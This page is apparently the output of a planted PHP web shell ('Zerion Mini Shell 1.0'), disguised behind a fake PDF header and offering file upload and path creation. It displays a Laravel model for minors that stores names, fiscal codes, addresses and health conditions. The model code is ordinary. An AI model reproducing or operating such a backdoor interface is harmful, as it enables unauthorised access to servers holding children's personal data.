%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /var/www/html/camillo/camillo-api-master/app/Models/
Upload File :
Create Path :
Current File : /var/www/html/camillo/camillo-api-master/app/Models/Minor.php

<?php

namespace App\Models;

use App\Models\Pivots\ClassroomMinor;
use App\Scopes\MinorScope;
use App\User;
use Chelout\RelationshipEvents\Concerns\HasBelongsToManyEvents;
use Illuminate\Database\Eloquent\Model;
use Illuminate\Support\Facades\Log;
use Watson\Validating\ValidatingTrait;
use App\Traits\MinorTrackerTrait;

class Minor extends Model
{
    use ValidatingTrait;
    use MinorTrackerTrait;

    public $fillable = [
        'name',
        'surname',
        'birth_date',
        'gender',
        'fiscal_code',
        'hometown',
        'province',
        'citizenship',
        'residence_city',
        'street',
        'street_number',
        'zip_code',
        'pathologies',
        'intolerance',
        'notes',
        'institute_id',
        'created_by',
        'updated_by',
        'active'
    ];

    protected $dates = [
        'created_at',
        'updated_at',
        'birth_date'
    ];

    protected $rules = [
        'name' => 'required|string',
        'birth_date' => 'date',
        'gender' => 'in:M,F',
        'fiscal_code' => 'string|size:16',
        'surname' => 'required|string',
        'hometown' => 'string|nullable',
        'province' => 'string|nullable',
        'citizenship' => 'string|nullable',
        'residence_city' => 'string|nullable',
        'street' => 'string|nullable',
        'street_number' => 'string|nullable',
        'zip_code' => 'string|nullable',
        'pathologies' => 'string|nullable',
        'intolerance' => 'string|nullable',
        'notes' => 'string|nullable',
        'active' => 'boolean'
    ];

    protected static function boot()
    {
        parent::boot();

        static::addGlobalScope(new MinorScope());

    }

    /**
     * Validation messages to be passed to the validator.
     *
     * @var array
     */
    protected $validatingMessages = [
    ];

    /**
     * @return \Illuminate\Database\Eloquent\Relations\BelongsTo
     */
    public function creator()
    {
        return $this->belongsTo(User::class);
    }

    /**
     * @return \Illuminate\Database\Eloquent\Relations\BelongsTo
     */
    public function updater()
    {
        return $this->belongsTo(User::class);
    }

    public function subscriptions()
    {
        return $this->hasMany(Subscription::class);
    }

    /**
     * @return \Illuminate\Database\Eloquent\Relations\BelongsToMany
     */
    public function classrooms()
    {
        return $this->belongsToMany(Classroom::class)
            ->using(ClassroomMinor::class)->withPivot('active', 'arrival_time');
    }

    /**
     * @return \Illuminate\Database\Eloquent\Relations\BelongsToMany
     */
    public function individuals()
    {
        return $this->belongsToMany(Individual::class)
            ->withPivot('relative', 'is_admin');
    }

    /**
     * @return \Illuminate\Database\Eloquent\Relations\HasMany
     */
    public function absences()
    {
        return $this->hasMany(Absence::class);
    }

    /**
     * @return \Illuminate\Database\Eloquent\Relations\HasMany
     */
    public function events()
    {
        return $this->hasMany(Event::class);
    }

    /**
     * @return \Illuminate\Database\Eloquent\Relations\HasMany
     */
    public function notices()
    {
        return $this->hasMany(Notice::class);
    }

    /**
     * @param $value
     * @return string
     */
    public function getArrivalTimeAttribute($value)
    {
//        return Carbon::parse($value)->format("H:i");
        return $value;
    }

    /**
     * @return \Illuminate\Database\Eloquent\Relations\BelongsTo
     */
    public function institute()
    {
        return $this->belongsTo(Institute::class);
    }


    /**
     * @param Individual $individual
     * @return mixed
     */
    public function isTutor(Individual $individual) {
        return $this->individuals()->where('individual_id', $individual->id)->count();
    }

    /**
     * @param Individual $individual
     * @return mixed
     */
    public function isFamilyAdmin(Individual $individual) {
        return $this->individuals()->where('individual_id', $individual->id)
            ->where('is_admin', '=', true)->count();
    }

    /**
     * @return \Illuminate\Database\Eloquent\Relations\HasMany
     */
    public function arrivalExceptions()
    {
        return $this->hasMany(ArrivalException::class);
    }

    /**
     * @return mixed
     */
    public function isSubscribed()
    {
        $now = date("Y-m-d");

        $is_subscrbed = Subscription::where('minor_id', $this->id)
            ->whereDate('start_date', '<=', $now)
            ->whereDate('end_date', '>=', $now)
            ->count();

        return $is_subscrbed;
    }

    /**
     * @return mixed
     */
    public function currentUserIsFamilyAdmin()
    {
        $user = auth('api')->user();

        $individual = $user->individual;

        return $this->isFamilyAdmin($individual);

    }

    /**
     * @return \Illuminate\Database\Eloquent\Collection
     */
    public function getAdminTutors()
    {
        return $this->individuals()->wherePivot('is_admin', true)->get();
    }

}

Zerion Mini Shell 1.0